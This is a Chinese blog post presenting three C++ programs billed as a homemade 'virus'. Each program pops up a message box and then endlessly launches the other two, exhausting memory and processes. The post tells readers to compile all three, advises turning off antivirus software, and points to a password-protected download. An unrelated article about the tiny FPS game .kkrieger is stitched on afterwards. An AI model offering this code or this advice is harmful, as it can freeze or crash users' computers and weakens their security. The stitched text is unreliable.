自己用C++编一个病毒会怎么样?

最近突然有一个很疯狂的想法:自己用C++编一个病毒会怎么样?

说干就干,我用C++编写了3个源代码,就放在下面:

1.cpp

#include <iostream>
#include <windows.h>
using namespace std;

int main() {
	MessageBox(NULL," "," ",MB_OK);
	while(1){
		WinExec("2.exe",SW_SHOW);
		WinExec("3.exe",SW_SHOW);
	}

	return 0;
} 

2.cpp

#include <iostream>
#include <windows.h>
using namespace std;

int main() {
	MessageBox(NULL," "," ",MB_OK);
	while(1){
		WinExec("3.exe",SW_SHOW);
		WinExec("1.exe",SW_SHOW);
	}

	return 0;
} 

3.cpp

#include <iostream>
#include <windows.h>
using namespace std;

int main() {
	MessageBox(NULL," "," ",MB_OK);
	while(1){
		WinExec("1.exe",SW_SHOW);
		WinExec("2.exe",SW_SHOW);
	}

	return 0;
} 

注:必须3个一起编译以后才能使用,并建议暂时关闭杀毒软件,否则可能被删除

强烈提醒:非常吃内存!!!

下载程序地址:

病毒下载-密码:hssk

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控制办法:前 w 后s 左a 右d 90K的游戏,你的机器跑得动吗? 绝对不是病毒,请放心使用!! 提到FPS(第一人称射击)游戏,大家当然不陌生,但时下流行的此类游戏动辄就要占据上GB的硬盘空间,如果说存在一款效果还算不错的FPS游戏,大小却只有96KB,你是否相信呢?   今天要为大家介绍就是这样微型FPS游戏,名为.kkrieger,是由.theprodukkt小组开发完成。其大小仅仅为96KB,废话少说,先来看看该游戏的画面! 当然,其画面肯定无法和QUAKE3、DOOM3之类相比,但考虑到其96KB的身材,也足以令人震惊。那么.theprodukkt小组是如何将这款游戏微缩到96KB中呢?该小组表示,他们并没有采用什么特别的压缩算法,只是对游戏中将用到的材质、网孔等资源进行了最为合理的安排,保证足够紧凑。对于该游戏所采用的深入技术细节,该小组并不愿公布。   不知道大家是否有印象,以前网上经常传出许多大小只有64KB的3D演示动画,那是一些程高手为了展示自己的实力完全采用汇语言完成的作品。而相比来看,这款96KB的FPS游戏则更加精彩,因为他是一款有声有色,并且真正可以“玩”的游戏,但这款游戏并不是人们所想象的100%采用汇语言完成,反而其主体由C++完成,之间贯穿少量汇语言。 别看该游戏体积很小,但对机器配置要求却很高,一般人的电脑恐怕都不能运行。最低配置如下(达不到不能运行):   - 1.5GHz Pentium3/Athlon以上处理器   - 512MB以上内存   - Geforce4 Ti或ATI Radeon8500以上等级显卡   - 支持pixel shaders 1.3、128MB以上显存   - 普通声卡   - DirectX 9.0b   运行该游戏后先要经历一段长时间的解压缩过程,而这些数据都将释放到内存中,所以512MB以上的内存配置是必须的。上图为该游戏所占据的内存容量,已经接近300MB。

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